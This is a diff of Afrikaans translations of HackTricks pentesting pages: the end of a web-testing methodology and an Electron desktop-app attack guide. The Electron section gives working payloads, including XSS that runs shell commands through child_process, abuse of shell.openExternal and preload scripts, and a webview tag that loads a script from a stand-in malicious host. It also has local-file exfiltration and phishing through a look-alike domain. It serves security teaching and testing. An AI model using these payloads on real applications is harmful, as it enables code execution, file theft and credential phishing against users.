-- Jy moet ook ontdekte JS-lêers kontroleer met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te sien of dit kwesbaar is.
+- Jy moet ook ontdekte JS files met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) nagaan om te sien of dit kwesbaar is.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
-- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 - In verskeie gevalle sal jy die regular expressions wat gebruik word moet verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
-- Jy kan ook die lêers monitor waar vorms gedetekteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n aanduiding van 'n potensiële nuwe kwesbare funksionaliteit kan wees.
+- Jy kan ook die files wat vorms bevat monitor, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n aanduiding kan wees van 'n nuwe moontlike kwesbare funksionaliteit.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -314,38 +313,38 @@ Let wel dat elke keer as 'n nuwe directory tydens brute-forcing of spidering ont
 
 **502 Proxy Error**
 
-As enige bladsy met daardie kode reageer, is dit waarskynlik 'n sleg gekonfigureerde proxy. **As jy 'n HTTP versoek stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ te bereik en jy het 'n SSRF gevind.
+As enige bladsy met daardie kode **antwoord**, is dit waarskynlik 'n **sleg gekonfigureerde proxy**. **As jy 'n HTTP request stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander gewone headers), sal die **proxy** probeer om _**google.com**_ te **toegang** en jy het 'n SSRF gevind.
 
 **NTLM Authentication - Info disclosure**
 
-As die bediener wat vir authentication vra 'n **Windows** bediener is of jy vind 'n login wat vir jou **credentials** vra (en vir 'n **domain** **name** vra), kan jy 'n **inligtingslek** veroorsaak.\
+As die bediener wat authentikeering vra **Windows** is of jy vind 'n login wat vir jou **credentials** vra (en vra vir **domain** **name**), kan jy 'n **inligtingvrylating** veroorsaak.\
-**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe die **NTLM authentication** werk, sal die bediener met interne inligting (IIS version, Windows version...) binne die header "WWW-Authenticate" antwoord.\
+**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe **NTLM authentication** werk, sal die bediener met interne inligting (IIS version, Windows version...) in die header "WWW-Authenticate" antwoord.\
 Jy kan dit **outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-Dit is moontlik om **inhoud** binne 'n **Redirect** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die redirect sal uitvoer) maar iets kan daarin **weggesteek** wees.
+Dit is moontlik om **inhoud** binne 'n **Redirection** te sit. Hierdie inhoud **word nie aan die gebruiker gewys** nie (aangesien die blaaier die redirection sal uitvoer) maar iets kan daarin **weggesteek** wees.
 
-### Kontrole van Web-kwesbaarhede
+### Web Vulnerabilities Checking
 
-Nou dat 'n omvattende enumerasie van die web-toepassing uitgevoer is, is dit tyd om vir 'n lang lys moontlike kwesbaarhede te toets. Jy kan die checklist hier kry:
+Nou dat 'n omvattende enumerasie van die web toepassing uitgevoer is, is dit tyd om vir 'n groot aantal moontlike kwesbaarhede te toets. Jy kan die checklist hier vind:
 
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}
 
-Vind meer inligting oor web vulns by:
+Vind meer inligting oor web vulns in:
 
 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
 - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
 
-### Moniteer bladsye vir veranderinge
+### Monitor Pages for changes
 
-Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat kwesbaarhede kan inbring.
+Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat kwesbaarhede kan invoeg.
 
-### HackTricks Outomatiese Opdragte
+### HackTricks Automatic Commands
 ```
 Protocol_Name: Web    #Protocol Abbreviation if there is one.
 Port_Number:  80,443     #Comma separated if there is more than one.

src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

@@ -1,17 +1,17 @@
-# Electron Desktop-toepassings
+# Electron Bureaublad-apps
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Inleiding
 
-Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sekere sekuriteitsmeganismes van moderne blaaiers ontbreek.
+Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit 'n paar van die sekuriteitsmeganismes van moderne blaaiers ontbreek.
 
-Gewoonlik sal jy die Electron-app-kode binne 'n `.asar` aansoek vind; om die kode te verkry moet jy dit uitpak:
+Gewoonlik sal jy die Electron app code binne 'n `.asar`-toepassing vind; om die code te verkry moet jy dit onttrek:
 ```bash
 npx asar extract app.asar destfolder #Extract everything
 npx asar extract-file app.asar main.js #Extract just a file
 ```
-In die bronkode van 'n Electron app, binne `packet.json`, kan jy die aangeduide `main.js`-lêer vind waar sekuriteitskonfigurasies gestel is.
+In die bronkode van ’n Electron-app, binne `packet.json`, kan jy die gespesifiseerde `main.js`-lêer vind waarin sekuriteitskonfigurasies gestel is.
 ```json
 {
 "name": "standard-notes",
@@ -19,8 +19,8 @@ In die bronkode van 'n Electron app, binne `packet.json`, kan jy die aangeduide
 ```
 Electron het 2 proses-tipes:
 
-- Main Process (het volledige toegang tot NodeJS)
+- Main Process (het volle toegang tot NodeJS)
-- Renderer Process (moet vir sekuriteitsredes beperkte toegang tot NodeJS hê)
+- Renderer Process (moet beperkte NodeJS-toegang hê vir sekuriteitsredes)
 
 ![](<../../../images/image (182).png>)
 
@@ -32,20 +32,20 @@ let win = new BrowserWindow()
 //Open Renderer Process
 win.loadURL(`file://path/to/index.html`)
 ```
-Instellings van die **renderer-proses** kan in die **main-proses** binne die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek gekonfigureer** is.
+Instellings van die **renderer process** kan in die **main process** binne die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal **voorkom dat die Electron application RCE kry** of ander kwesbaarhede as die **instellings korrek gekonfigureer** is.
 
-Die Electron-toepassing **kan toegang tot die toestel kry** via Node apis alhoewel dit gekonfigureer kan word om dit te voorkom:
+Die Electron application **kan toegang tot die toestel kry** via Node apis alhoewel dit gekonfigureer kan word om dit te voorkom:
 
-- **`nodeIntegration`** - is `off` per verstek. As dit aan is, laat dit toe om Node-funksies vanaf die renderer-proses te gebruik.
+- **`nodeIntegration`** - is `off` standaard. As dit aan is, laat dit toe om toegang te kry tot Node-funksies vanaf die renderer process.
-- **`contextIsolation`** - is `on` per verstek. As dit `off` is, is die main- en renderer-prosesse nie geïsoleer nie.
+- **`contextIsolation`** - is `on` standaard. If `off`, main and renderer processes aren't isolated.
-- **`preload`** - leeg per verstek.
+- **`preload`** - leeg standaard.
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` per verstek. Dit sal die aksies beperk wat NodeJS kan uitvoer.
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.
-- Node-integrasie in Workers
+- Node Integration in Workers
-- **`nodeIntegrationInSubframes`** - is `off` per verstek.
+- **`nodeIntegrationInSubframes`** - is `off` standaard.
-- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** toelaat in webblaaie wat **gelaai is in iframes** binne 'n Electron-toepassing.
+- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
-- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads dan in die iframe gelaai word
+- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
 
-Voorbeeld van konfigurasie:
+Example of configuration:
 ```javascript
 const mainWindowOptions = {
 title: "Discord",
@@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
 src="x"
 onerror="alert(require('child_process').execSync('uname -a').toString());" />
 ```
-### Vang netwerkverkeer
+### Vang verkeer
 
-Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy soos:
+Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy by, soos:
 ```javascript
 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
 ```
 ## Electron Local Code Injection
 
-As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan dwing om willekeurige javascript-kode uit te voer. Kyk hoe in:
+As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer arbitrêre javascript code. Kyk hoe in:
 
 
 {{#ref}}
@@ -112,7 +112,7 @@ As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan dwing o
 
 ## RCE: XSS + nodeIntegration
 
-As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc-toepassing op Windows uit te voer is:
+As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript Node.js-funksies maklik gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc toepassing op Windows uit te voer is:
 ```html
 <script>
 require("child_process").exec("calc")
@@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
 
 ## RCE: preload
 
-Die script wat in hierdie instelling aangedui word is l**oaded before other scripts in the renderer**, dus het dit **onbeperkte toegang tot Node APIs**:
+Die skrip wat in hierdie instelling aangedui word, word **gelaai voor ander skripte in die renderer**, sodat dit **onbeperkte toegang tot Node APIs**:
 ```javascript
 new BrowserWindow{
 webPreferences: {
@@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
 }
 });
 ```
-Daarom kan die script node-features na bladsye uitvoer:
+Daarom kan die skrip node-features na bladsye uitvoer:
 ```javascript:preload.js
 typeof require === "function"
 window.runCalc = function () {
@@ -149,17 +149,17 @@ runCalc()
 </script>
 </body>
 ```
-> [!NOTE] > **As `contextIsolation` aan is, sal dit nie werk nie**
+> [!NOTE] > **As `contextIsolation` aangeskakel is, sal dit nie werk nie**
 
 ## RCE: XSS + contextIsolation
 
-Die _**contextIsolation**_ skep **afgeskeide kontekste tussen die webblad se skripte en die Electron se interne JavaScript-kode** sodat die JavaScript-uitvoering van elke kode mekaar nie beïnvloed nie. Dit is 'n nodige funksie om die moontlikheid van RCE uit te skakel.
+Die _**contextIsolation**_ skep geskeide kontekste tussen die webblad-skripte en die JavaScript van Electron se interne kode, sodat die uitvoering van die JavaScript-kode van elk mekaar nie beïnvloed nie. Dit is 'n noodsaaklike funksie om die moontlikheid van RCE uit te skakel.
 
-As die kontekste nie geïsoleer is nie, kan 'n aanvaller:
+As die kontekste nie geïsoleer is nie kan 'n aanvaller:
 
-1. Voer **arbitrary JavaScript in renderer** uit (XSS of navigasie na eksterne webwerwe)
+1. Voer **willekeurige JavaScript in die renderer uit** (XSS of navigasie na eksterne webwerwe)
-2. **Overwrite the built-in method** wat in preload of Electron se interne kode gebruik word om beheer oor die funksie te kry
+2. **Oorskryf die ingeboude metode** wat in preload of Electron se interne kode gebruik word om die funksie oor te neem
-3. **Trigger** die gebruik van die **overwritten function**
+3. **Activeer** die gebruik van die **oorskryfde funksie**
 4. RCE?
 
 Daar is 2 plekke waar ingeboude metodes oorskryf kan word: In preload-kode of in Electron se interne kode:
@@ -179,24 +179,24 @@ electron-contextisolation-rce-via-electron-internal-code.md
 electron-contextisolation-rce-via-ipc.md
 {{#endref}}
 
-### Omseil klikgebeurtenis
+### Klik-gebeurtenis omseil
 
-As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit dalk omseil deur 'n **middel-klik** te gebruik in plaas van 'n gewone linkermuisklik
+As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit dalk omseil deur **met die middelknoppie te klik** in plaas van 'n gewone linkerklik
 ```javascript
 window.addEventListener('click', (e) => {
 ```
 ## RCE via shell.openExternal
 
-Vir meer inligting oor hierdie voorbeelde, kyk na [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
+Vir meer inligting oor hierdie voorbeelde, sien [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) en [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
 
-Wanneer 'n Electron desktop-toepassing uitgerol word, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Daar is vasgestel dat **client-side remote code execution (RCE)** wat preload scripts of Electron se native code vanaf die main process teiken, met hierdie instellings in plek effektief verhoed word.
+Wanneer 'n Electron desktop application uitgerol word, is dit noodsaaklik om die korrekte instellings vir `nodeIntegration` en `contextIsolation` te verseker. Dit is gevestig dat **client-side remote code execution (RCE)** wat gemik is op preload scripts of Electron se native code vanaf die main process effektief voorkom word met hierdie instellings in plek.
 
-Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke event listeners geaktiveer, wat kritiek is vir die toepassing se sekuriteit en funksionaliteit:
+Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke event listeners geaktiveer, wat vir die toepassing se sekuriteit en funksionaliteit kritiek is:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {}
 webContents.on("will-navigate", function (event, url) {}
 ```
-Hierdie listeners word **oorskryf deur die desktop-toepassing** om sy eie **bedryfslogika** te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik geneem deur 'n funksie, `openInternally`. As hierdie funksie `false` teruggee, dui dit aan dat die skakel ekstern geopen moet word deur gebruik te maak van die `shell.openExternal` funksie.
+Hierdie luisteraars word deur die desktop-toepassing **oorskryf** om sy eie **bedryfslogika** te implementeer. Die toepassing bepaal of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik geneem deur 'n funksie, `openInternally`. As hierdie funksie `false` teruggee, dui dit aan dat die skakel eksterne geopen moet word, deur gebruik te maak van die `shell.openExternal` funksie.
 
 **Here is a simplified pseudocode:**
 
@@ -204,11 +204,11 @@ Hierdie listeners word **oorskryf deur die desktop-toepassing** om sy eie **bedr
 
 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
 
-Electron JS security best practices raai af om onbetroubare inhoud met die `openExternal` funksie te aanvaar, aangesien dit tot RCE via verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetaileerde voorbeelde en verdere verduideliking oor hierdie onderwerp kan verwys word na [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), wat Windows-protokolvoorbeelde bevat wat hierdie kwesbaarheid kan uitbuit.
+Electron JS beste sekuriteitspraktyke waarsku daarteen om onbetroubare inhoud met die `openExternal` funksie te aanvaar, aangesien dit tot RCE deur verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan mens na [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows-protokol-voorbeelde bevat wat hierdie kwesbaarheid kan uitbuit.
 
-In macos kan die `openExternal` funksie misbruik word om ewekansige opdragte uit te voer, soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
+In macos kan die `openExternal` funksie misbruik word om arbitrêre opdragte uit te voer, soos in `shell.openExternal('file:///System/Applications/Calculator.app')`.
 
-**Examples of Windows protocol exploits include:**
+**Voorbeelde van Windows-protokol-uitbuiting sluit in:**
 ```html
 <script>
 window.open(
@@ -230,15 +230,15 @@ window.open(
 ```
 ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
 
-Hierdie vuln kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+Hierdie kwesbaarheid kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
 
-Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer-proses** moontlik maak, en dit behoort gedeaktiveer te word aangesien dit toelaat om 'n skrip binne die preload-konteks te laai, soos:
+Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer process** toelaat, wat gedeaktiveer behoort te word aangesien dit toelaat om 'n skrip binne die preload context te laai soos:
 ```xml
 <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
 ```
-Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrêre bladsy te laai, daardie tag gebruik om **'n arbitrêre preload script te laai**.
+Dus kan 'n aanvaller wat daarin slaag om 'n willekeurige bladsy te laai daardie tag gebruik om **load an arbitrary preload script**.
 
-Hierdie preload script is toe misbruik om 'n **kwesbare IPC-diens (`skype-new-window`)** aan te roep, wat **`shell.openExternal`** aangeroep het om RCE te kry:
+Hierdie preload script is toe misbruik om 'n oproep te maak na 'n **vulnerable IPC service (`skype-new-window`)** wat **`shell.openExternal`** aangeroep het om RCE te kry:
 ```javascript
 (async() => {
 const { ipcRenderer } = require("electron");
@@ -249,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
 }, 5000);
 })();
 ```
-## Lees Interne Lêers: XSS + contextIsolation
+## Lees van Interne Lêers: XSS + contextIsolation
 
-**Deaktivering van `contextIsolation` maak die gebruik van `<webview>`-tags moontlik**, soortgelyk aan `<iframe>`, om plaaslike lêers te lees en te exfiltrating. 'n Voorbeeld toon hoe hierdie kwesbaarheid misbruik kan word om die inhoud van interne lêers te lees:
+**Om `contextIsolation` uit te skakel maak die gebruik van `<webview>` tags moontlik**, soortgelyk aan `<iframe>`, vir die lees en exfiltrating van plaaslike lêers. ’n Voorbeeld toon hoe om hierdie kwesbaarheid te exploit om die inhoud van interne lêers te lees:
 
 ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
 
-Verder word nog 'n metode vir **lees van 'n interne lêer** gedeel, wat 'n kritieke lokale lêerlees-kwesbaarheid in 'n Electron desktop app uitlig. Dit behels die injeksie van 'n script om die toepassing te misbruik en data te exfiltrate:
+Verder word nog ’n metode gedeel om **’n interne lêer te lees**, wat ’n kritieke local file read kwesbaarheid in ’n Electron desktop app uitlig. Dit behels die injectering van ’n script om die toepassing te exploit en data te exfiltrate:
 ```html
 <br /><br /><br /><br />
 <h1>
@@ -271,23 +271,23 @@ frames[0].document.body.innerText
 </script>
 </h1>
 ```
-## **RCE: XSS + Old Chromium**
+## **RCE: XSS + Ou chromium**
 
-As die **chromium** wat deur die toepassing gebruik word **oud** en daar **bekende** **vulnerabilities** daarop is, kan dit moontlik wees om dit te **exploit** en RCE deur 'n XSS te verkry.\
+Indien die **chromium** wat deur die toepassing gebruik word **oud** en daar **bekende** **vulnerabilities** daarop is, kan dit moontlik wees om dit te **exploit** en RCE te bekom deur 'n XSS.  
-Jy kan 'n voorbeeld in hierdie **writeup** sien: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
+Jy kan 'n voorbeeld sien in hierdie **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
 
-## **XSS Phishing via Internal URL regex bypass**
+## **XSS Phishing via Interne URL regex bypass**
 
-Indien jy 'n XSS gevind het maar jy **cannot trigger RCE or steal internal files**, kan jy probeer om dit te gebruik om **steal credentials via phishing**.
+As jy 'n XSS gevind het maar jy **kan nie RCE trigger of interne lêers steel nie**, kan jy probeer om dit te gebruik om **credentials via phishing** te steel.
 
-Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open deur die JS-kode in die front-end na te gaan:
+Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL oop te maak, deur die JS-kode in die front-end na te gaan:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
 webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
 ```
-Die oproep na **`openInternally`** sal besluit of die **link** in die **desktop window** geopen sal word aangesien dit ’n link is wat aan die platform behoort, **of** dit in die **browser as a 3rd party resource** geopen sal word.
+Die oproep na **`openInternally`** sal besluit of die **link** sal **opened** in die **desktop window** wees aangesien dit 'n link is wat aan die platform behoort, **or** of dit in die **browser as a 3rd party resource** geopen sal word.
 
-In die geval dat die **regex** wat deur die funksie gebruik word **vatbaar is vir omseilings** (byvoorbeeld deur **nie die kolletjies van subdomeine te ontsnap nie), kan ’n aanvaller die XSS misbruik om ’n **nuwe venster te open wat** in die aanvaller se infrastruktuur geleë sal wees en die gebruiker **asking for credentials**:
+In die geval dat die **regex** wat deur die funksie gebruik word **vulnerable to bypasses** (byvoorbeeld deur **not escaping the dots of subdomains**) kan 'n aanvaller die XSS misbruik om **open a new window which** in die aanvaller se infrastruktuur te plaas en die gebruiker **asking for credentials**:
 ```html
 <script>
 window.open("<http://subdomainagoogleq.com/index.html>")
@@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
 ```
 ## `file://` Protokol
 
-Soos in [die docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) genoem, het bladsye wat op **`file://`** hardloop eenzijdige toegang tot elke lêer op jou masjien, wat beteken dat **XSS issues can be used to load arbitrary files** vanaf die gebruiker se masjien. Die gebruik van 'n **aangepaste protokol** voorkom sulke probleme aangesien jy die protokol kan beperk tot slegs 'n spesifieke stel lêers.
+Soos in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) genoem, het bladsye wat op **`file://`** loop eenzijdige toegang tot elke lêer op jou masjien, wat beteken dat **XSS issues can be used to load arbitrary files** vanaf die gebruiker se masjien. Deur 'n **aangepaste protokol** te gebruik, voorkom jy sulke probleme aangesien jy die protokol kan beperk tot slegs die bedien van 'n spesifieke stel lêers.
 
 ## Remote module
 
-Die Electron Remote module laat **renderer processes to access main process APIs**, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Tog bring die inskakeling van hierdie module beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanval-oppervlakte en maak dit meer kwesbaar vir swakpunte soos cross-site scripting (XSS) aanvalle.
+Die Electron Remote module laat **renderer processes to access main process APIs**, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Om hierdie module aan te skakel bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvaloppervlak en maak dit meer vatbaar vir kwesbaarhede soos cross-site scripting (XSS) attacks.
 
 > [!TIP]
-> Alhoewel die **remote** module sommige APIs van main na renderer processes openbaar, is dit nie maklik om slegs deur misbruik van die komponente RCE te kry nie. Die komponente kan egter sensitiewe inligting openbaar.
+> Alhoewel die **remote** module sekere APIs van main na renderer processes blootstel, is dit nie eenvoudig om slegs deur die misbruik van die komponente RCE te kry nie. Die komponente kan egter sensitiewe inligting openbaar.
 
 > [!WARNING]
-> Baie apps wat steeds die remote module gebruik doen dit op 'n wyse wat **require NodeIntegration to be enabled** in the renderer process, wat 'n **enorme sekuriteitsrisiko** is.
+> Baie apps wat steeds die remote module gebruik, doen dit op 'n wyse wat vereis dat **NodeIntegration geaktiveer word** in die renderer process, wat 'n **enorme sekuriteitsrisiko** is.
 
-Sedert Electron 14 kan die `remote` module op verskeie maniere geaktiveer wees; vanweë sekuriteits- en prestasie-redes word dit **aanbeveel om dit nie te gebruik nie**.
+Sedert Electron 14 kan die `remote` module van Electron in verskeie stappe geaktiveer word; weens sekuriteit- en prestasie-redes word dit **aanbeveel om dit nie te gebruik nie**.
 
-Om dit te aktiveer, moet dit eers in die **main process** geaktiveer word:
+Om dit te aktiveer, moet dit eers in die main process geaktiveer word:
 ```javascript
 const remoteMain = require('@electron/remote/main')
 remoteMain.initialize()
@@ -320,28 +320,28 @@ mainWindow = new BrowserWindow({
 })
 remoteMain.enable(mainWindow.webContents)
 ```
-Dan kan die renderer-proses voorwerpe uit die module soos volg invoer:
+Dan kan die renderer-proses voorwerpe uit die module invoer soos:
 ```javascript
 import { dialog, getCurrentWindow } from '@electron/remote'
 ```
-Die **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** dui 'n paar interessante **funksies** aan wat deur die object **`app`** van die remote module blootgestel word:
+Die **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** dui op 'n paar interessante **funksies** wat deur die objek **`app`** van die remote module blootgestel word:
 
 - **`app.relaunch([options])`**
-- **Herbegin** die toepassing deur die huidige instansie te **verlaat** en 'n nuwe een te **lans**. Nuttig vir **app updates** of beduidende **state changes**.
+- **Herbegin** die toepassing deur die **huidige instansie te sluit** en 'n **nuwe een te begin**. Nuttig vir **app updates** of beduidende **toestandveranderinge**.
 - **`app.setAppLogsPath([path])`**
-- **Bepaal** of **skep** 'n gids vir die stoor van **app logs**. Die logs kan gebruik word om met **`app.getPath()`** of **`app.setPath(pathName, newPath)`** **gekry** of **gewysig** te word.
+- **Bepaal** of **skep** 'n gids vir die stoor van **app logs**. Die logs kan **opgehaal** of **gewysig** word deur gebruik te maak van **`app.getPath()`** of **`app.setPath(pathName, newPath)`**.
 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
-- **Registreer** die huidige uitvoerbare as die **standaardbehandelaar** vir 'n gespesifiseerde **protocol**. Jy kan 'n **custom path** en **arguments** verskaf indien nodig.
+- **Registreer** die huidige uitvoerbare lêer as die **standaardhanteraar** vir 'n gespesifiseerde **protokol**. Jy kan 'n **aangepaste pad** en **argumente** verskaf indien nodig.
 - **`app.setUserTasks(tasks)`**
-- **Voeg** tasks by die **Tasks category** in die **Jump List** (op Windows). Elke taak kan beheer hoe die app **gelans** word of watter **arguments** deurgegee word.
+- **Voeg** take by die **Tasks category** in die **Jump List** (op Windows). Elke taak kan beheer hoe die app **gestart** word of watter **argumente** deurgegee word.
 - **`app.importCertificate(options, callback)`**
-- **Importeer** 'n **PKCS#12 certificate** in die stelsel se **certificate store** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
+- **Importeer** 'n **PKCS#12-sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
 - **`app.moveToApplicationsFolder([options])`**
-- **Skuif** die toepassing na die **Applications folder** (op macOS). Help om 'n **standard installation** vir Mac-gebruikers te verseker.
+- **Skuif** die toepassing na die **Applications folder** (op macOS). Dit help om 'n **standaardinstallasie** vir Mac-gebruikers te verseker.
 - **`app.setJumpList(categories)`**
-- **Stel** of **verwyder** 'n **custom Jump List** op **Windows**. Jy kan **categories** spesifiseer om te organiseer hoe take aan die gebruiker verskyn.
+- **Stel** of **verwyder** 'n **pasgemaakte Jump List** op **Windows**. Jy kan **kategorieë** spesifiseer om te organiseer hoe take aan die gebruiker verskyn.
 - **`app.setLoginItemSettings(settings)`**
-- **Konfigureer** watter **executables** by **login** begin tesame met hul **options** (slegs macOS en Windows).
+- **Konfigureer** watter **uitvoerbare lêers** by **aanmelding** begin saam met hul **opsies** (slegs macOS en Windows).
 
 Voorbeeld:
 ```javascript
@@ -350,7 +350,7 @@ Native.app.exit()
 ```
 ## systemPreferences module
 
-Die **primêre API** om toegang te kry tot stelselvoorkeure en om **stelselgebeure** in Electron uit te stuur. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
